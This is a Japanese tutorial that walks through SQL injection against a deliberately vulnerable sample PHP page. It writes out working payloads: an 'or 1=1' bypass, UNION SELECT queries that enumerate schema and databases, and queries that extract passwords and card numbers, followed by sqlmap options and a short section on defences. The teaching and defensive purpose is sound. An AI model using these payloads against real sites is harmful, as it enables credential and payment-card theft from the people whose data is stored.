サイバーセキュリティ

SQLインジェクション

SQLインジェクションはプログラマの不注意や知識不足により攻撃者の意図したSQL文を実行してしまうものです。

SQLインジェクションはとても奥が深くそのすべてを書くと膨大な量になってしまうので、SQLインジェクションによってどのような事が可能なのか、その一例を書きます。

検証環境は次の通りです。

  • OS: Ubuntu14.04 LTS
  • DB: mysql 5.5.46
  • PHP: 5.5.9
SQLインジェクションはDBの種類やバージョンによってSQL文の組み立てや攻撃方法が変わります

SQLインジェクション

以下のPHPスクリプトはSQLインジェクションの脆弱性があります。

IDとNAMEを入力すると該当するメールアドレスを表示するという何の意味もないものですが、サンプルなので気にしないでください。

例としてIDに”1″、NAMEに”taro”と入力すると次のようにブラウザに表示されます。

ID=1 / NAME=taro / E-MAIL=taro@example.jp

すべての情報を引き出す

このスクリプトはIDとNAMEが一致しないと該当するメールアドレスを表示しません。しかし、次のようにパラメータを渡すとすべての情報が表示されます。

http://example.jp/vul.php?id=123&name=’ or 1=1 —

IDが123、NAMEが空のデータはありませんが「1=1」は常にTRUEなので、すべて表示してしまいます。「 — 」はこれ以降コメントという意味なので、これ以降にSQL文があっても無視されます。

この攻撃を仕掛けると、ブラウザには次のように表示されます。

ID=123 / NAME=taro / E-MAIL=taro@example.jp
ID=123 / NAME=hanako / E-MAIL=hanako@example.jp
ID=123 / NAME=jiro / E-MAIL=jiro@example.jp

この手法は情報を引き出すだけでなく、認証突破にも使われます。たとえばユーザー名がadminだと知っていれば、パスワード無しでadminとしてログインする事ができます。

テーブル名とカラム名を調べる

一般的に広く配布されているプログラムや製品でない場合、攻撃者にはテーブル構造がわかりません。しかし攻撃者はテーブル構造を調べて他のカラムに格納されている情報を引き出します。

比較的簡単にテーブル構造を調べる事ができます。たとえば次のようにします。

http://example.jp/vul.php?id=123&name=’ and 1=2 union select 0,table_name,column_name,0 from information_schema.columns —

このように攻撃を仕掛けると次のようにブラウザに表示されます。興味深いテーブル名が見えますがこれは後で触れます。


ID=123 / NAME=customer_card / E-MAIL=id
ID=123 / NAME=customer_card / E-MAIL=first_name
ID=123 / NAME=customer_card / E-MAIL=last_name
ID=123 / NAME=customer_card / E-MAIL=valid_thru_mon
ID=123 / NAME=customer_card / E-MAIL=valid_thru_year
ID=123 / NAME=customer_card / E-MAIL=member_since
ID=123 / NAME=customer_card / E-MAIL=number
ID=123 / NAME=customer_card / E-MAIL=secnum
ID=123 / NAME=mytable / E-MAIL=id
ID=123 / NAME=mytable / E-MAIL=name
ID=123 / NAME=mytable / E-MAIL=email
ID=123 / NAME=mytable / E-MAIL=password

UNION句を利用すると問い合わせ結果を結合します。テーブル構造が判らないためこの攻撃は1度で成功させることは中々できません。というのも、UNION句はカラム数を合わせる必要があるためです。そのため0でパディングしています。また、0の位置も重要です。NAMEとEMAILが何番目のカラムかわからないため、何度か試して正しい場所を導き出す必要があります。

これでテーブル名とカラム名が判りました。passwordという興味深いカラム名があるのでこれを引き出します。もう判ると思いますが次のようにします。

http://example.jp/vul.php?id=123&name=’ and 1=2 union select 0,name,password,0 from mytable —

結果は次のようになります。

ID=123 / NAME=taro / E-MAIL=taro-password
ID=123 / NAME=hanako / E-MAIL=hanako-password
ID=123 / NAME=jiro / E-MAIL=jiro-password

データベース名を調べる

テーブル名と同じくデータベース名も攻撃者にはわかりません。しかし、これも攻撃者は知ることができます。

たとえば次のようにします。

http://example.jp/vul.php?id=123&name=’ and 1=2 union select 0,0,schema_name,0 from information_schema.schemata —

結果は次のようになります。

ID=123 / NAME=0 / E-MAIL=information_schema
ID=123 / NAME=0 / E-MAIL=mydb
ID=123 / NAME=0 / E-MAIL=mysql

他のテーブルから情報を引き出す

これは最悪のシナリオのひとつですが、別のテーブルに重要なデータが格納されている場合があります。個人情報やアカウント情報、クレジットカード番号など。

先ほどの例で”customer_card”というテーブル名が見えましたが、もしも攻撃者がこのようなテーブル名を見れば間違いなく情報を引き出します。これまでと同じ手順で次のようにします。

http://example.jp/vul.php?id=123&name=’ and 1=2 union select 0,first_name,number,0 from customer_card —

一度に引き出す事のできるカラム数はふたつなので複数回に分けて情報を引き出す必要がありますが、いずれにせよすべてのデータが引き出されます。

sqlmapを使った検査

これまでは手動でテーブルやデータベースの一覧を取得しましたが、これらは一般的に公開されているツールで自動化することができます。たとえばsqlmapのようなツールを使います。

sqlmapはSQLインジェクションの脆弱性について調査することのできる、使いやすいツールです。実際に使ってみましょう。

テーブル一覧を取得する

テーブル一覧を取得するためには「–tables」オプションを指定します。

データベース一覧を取得する

データベース一覧を取得するためには「–dbs」オプションを指定します。

sqlmapは他にもいくつかオプションがあるので、使いこなせば誰でも簡単にSQLインジェクション攻撃が可能になる事でしょう。可能であればアプリケーション開発者やシステム管理者がこのツールを利用して自サイトのセキュリティを検査して頂きたいと思います。

対策

ユーザーが入力する値は信用しないこと、併せてプレースホルダを使う事が重要です。ただしプレースホルダはデータベースのバージョンによっては使えないので、自分が使うデータベースのバージョンがプレースホルダに対応しているのか確認する必要があります。

詳細な対策方法についてはIPAのサイトを参照する事を強くおすすめします。

http://www.ipa.go.jp/security/vuln/websecurity.html